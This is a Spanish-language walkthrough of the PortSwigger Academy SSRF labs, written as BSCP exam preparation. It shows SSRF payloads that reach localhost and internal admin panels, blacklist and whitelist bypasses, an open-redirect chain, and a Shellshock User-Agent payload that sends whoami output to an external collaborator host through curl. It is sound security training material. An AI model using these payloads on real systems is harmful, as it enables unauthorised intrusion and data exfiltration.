PortSwigger Academy - Server-Side Request Forgery (SSRF)

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a Server-Side Request Forgery (SSRF). Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Aunque las vulnerabilidades SSRF puedan parecer inocuas en algunos casos, combinadas con accesos internos o incluso con despliegues en la nube sus consecuencias pueden ser bastante graves. Normalmente, solemos encontrar SSRF de vez en cuando en nuestras auditorías reales y bien es cierto que muchas veces cuesta escalarlo, pero también hay que recalcar que una vez que lo conseguimos, el impacto se multiplica. Por ello, debes tomar buena nota de estos laboratorios.

Lab1 (Apprentice) – Basic SSRF against the local server

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.». En este laboratorio debemos identificar y explotar una vulnerabilidad SSRF que nos permita acceder a recursos internos en el servidor y borrar el usuario «carlos».

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que dispone de un checking de stockaje para cada producto. Si hacemos click en cualquiera de ellos y revisamos su stock, vemos que se lanza la siguiente petición:

Petición enviada para checkear el stock de un producto

Como vemos, el parámetro «stockApi» adquiere como valor una URL (codificada, pero una URL). En estos casos, siempre debemos comprobar si podemos forzar al servidor a enviar peticiones a sitios arbitrarios. Podríamos hacerlo con el Burp Collaborator, pero dado que la petición de stock nos devuelve output (en este caso, el número de unidades), lanzamos una petición a «http://localhost/admin».

Explotación de SSRF para acceder a panel de administración

Hemos podido explotar el SSRF sin ningún problema y accedemos mediante ello al panel de administración, dado que al ser una petición desde el mismo host no tiene checkeos de seguridad. Para resolver el laboratorio, basta simplemente con hacer una petición al recurso resaltado para borrar el usuario «carlos»:

Eliminación de usuario «carlos» mediante SSRF

Lab2 (Apprentice) – Basic SSRF against another back-end system

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.». En este laboratorio debemos identificar y explotar una vulnerabilidad SSRF que nos permita acceder a recursos internos en el servidor y borrar el usuario «carlos».

De nuevo, vemos que la funcionalidad de checking de stock es la que nos permite explotar la vulnerabilidad de SSRF. Sin embargo, en este caso, tenemos que lanzar un ataque con Intruder para descubrir cuál es la máquina en la red 192.168.0.X que está activa. Simplemente iterando por cada IP, podemos obtenerlo:

Como vemos, la máquina activa es 192.168.0.6, por lo que procedemos a lanzar el ataque SSRF para borrar el usuario «carlos», al igual que en el primer laboratorio:

Lab3 (Practicioner) – SSRF with blacklist-based input filter

En este caso, vemos que la petición de SSRF lanzada en anteriores laboratorios para revisar el stock de un producto también es vulnerable, pero payloads como los siguientes no son válidos:

http://127.0.0.1/admin
http://localhost/admin

Deducimos, por tanto, que hay medidas de seguridad. Intentaremos bypasses típicos de vulnerabilidades SSRF, probando a codificar la IP:

http://2130706433/admin
http://017700000001/admin
http://127.1/admin
http://spoofed.burpcollaborator.net/admin

Ninguno de ellos funciona, por lo que lo siguiente a probar sería encoding y variaciones mayúsculas y minúsculas. Probamos el siguiente payload:

http://127.1/admiN

Como vemos, tenemos éxito y simplemente nos queda lanzar una nueva petición borrando el usuario «carlos»:

Explotación de SSRF con resolución de laboratorio

Lab4 (Expert) – SSRF with whitelist-based input filter

De nuevo, intentamos explotar la vulnerabilidad con payloads simples, pero vemos que no es posible hacerlo de manera tan sencilla:

Sin embargo, fíjate que la web nos da una pista. Los controles parecen cerciorarse de que el dominio que indicamos sea «stock.weliketoshop.net». Ahora se trata de un juego «ensayo-error», donde debemos ir testeando las técnicas de bypass comunes. Fíjate cómo vamos logrando obtener un payload válido:

http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1 => URL original

http://foo@stock.weliketoshop.net:8080 => Primer payload válido

http://foo#@stock.weliketoshop.net:8080 => No válido

http://foo%23@stock.weliketoshop.net:8080 => No válido

http://foo%2523@stock.weliketoshop.net:8080 => Válido y error de conexión

Como vemos, hemos logrado un payload válido. Ahora, simplemente, cambiamos el valor «foo» para conseguir lo que queremos:

http://localhost%2523@stock.weliketoshop.net:8080/admin

Puede parecer confuso, pero fíjate que esa URL tiene los siguientes elementos:

Esquema: «http://»
Usuario: «localhost#»
Dominio: «stock.weliketoshop.net»
Puerto: «8080»
Ruta: «admin»

Pero, lo que ocurre, que a pesar de ser una petición para el dominio legítimo, los sistemas backend la interpretan mal, enviando la petición a «localhost». Por tanto, podemos resolver fácilmente el laboratorio:

Explotación de SSRF para resolver laboratorio

Lab5 (Practicioner) – SSRF with filter bypass via open redirection vulnerability

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.». En este laboratorio debemos identificar y explotar una vulnerabilidad SSRF que nos permita acceder a recursos internos en el servidor y borrar el usuario «carlos».

De nuevo, visualizamos que la petición de SSRF es en el testing del stock de artículos. Sin embargo, en este caso, no encontramos un bypass para conseguir inyectar una URL fuera del dominio original de la web.

No obstante, la aplicación tiene otra vulnerabilidad de open-redirect en el botón de «Next product», cuya URL se construye de la siguiente manera:

https://0a3300c9031457e782c4b04f009a00d1.web-security-academy.net/product/nextProduct?currentProductId=2&path=/product?productId=3

Fíjate en la negrita, dado que si enviamos una petición con dicha ruta al endpoint que tiene SSRF, lograremos hacer una petición a «/product?productId=3». Es decir, podemos hacer peticiones de manera arbitraria a través de la explotación de SSRF combinada con open-redirect, para que el objetivo del SSRF sea siempre dentro de nuestra web pero al dispararse el open-redirect se salga de ella. Construimos un payload válido y accedemos al panel de administración:

/product/nextProduct?currentProductId=2%26path=http://192.168.0.12:8080/admin

Y, finalmente, usando la misma lógica podemos construir el payload válido para resolver el laboratorio, borrando el usuario «carlos».

/product/nextProduct?currentProductId=2%26path=http://192.168.0.12:8080/admin/delete?username=carlos

Lab6 (Practicioner) – Blind SSRF with out-of-band detection

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.». En este laboratorio debemos identificar y explotar una vulnerabilidad SSRF que nos permita obtener una petición DNS o HTTP en nuestro Burp Collaborator.

Como nos indica el laboratorio, cada vez que se carga un producto se produce una petición al dominio indicado en la cabecera «Referer» por razones de analítica. Podría parecer que esto es difícil de obtener, pero nada más lejos de la realidad ya que un escaneo automático fácilmente detectará este punto.

Así que, simplemente, debemos enviar la petición al Repeater, cambiar la cabecera «Referer» por nuestro payload de Burp Collaborator y resolver el laboratorio al recibir la interacción. Omitimos los pasos ya que son muy obvios (además, el propio escaneo automático resuelve el laboratorio por sí mismo).

Lab7 (Expert) – Blind SSRF with Shellshock exploitation

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.». En este laboratorio debemos identificar y explotar una vulnerabilidad SSRF que nos permita explotar ShellShock en un host interno de la red.

Como primer paso en el laboratorio, capturamos con Repeater la petición enviada al acceder a un producto que, como vimos en el laboratorio anterior, es la vulnerable a SSRF. Asimismo, enviamos un payload para comprobar con Burp Collaborator la petición recibida:

Lo más relevante aquí es que vemos que el «User-Agent» se mantiene. Por tanto, intentaremos explotar la vulnerabilidad de «ShellShock» de manera ciega en todos los sistemas de la red 192.168.0.X. Si tienes dudas sobre la vulnerabilidad, puedes acudir a https://deephacking.tech/shellshock-attack-web/ (kudos a DeepHacking por ese gran blog :)). El payload usado como «User-Agent» será el siguiente:

() { :;}; echo; curl "http://oumyxxnlcdcvvskf6ccax2tn8ee52wql.oastify.com?osname=$(whoami)"

Lanzamos ahora la petición en Burp Intruder a todos los hosts de la red 192.168.0.X a través de la cabecera «Referer» y obtenemos el valor del usuario necesario, ya que uno de los sistemas lanza la petición secundaria a través de curl.

Y… ¡¡Laboratorios finalizados!!

~km0xu95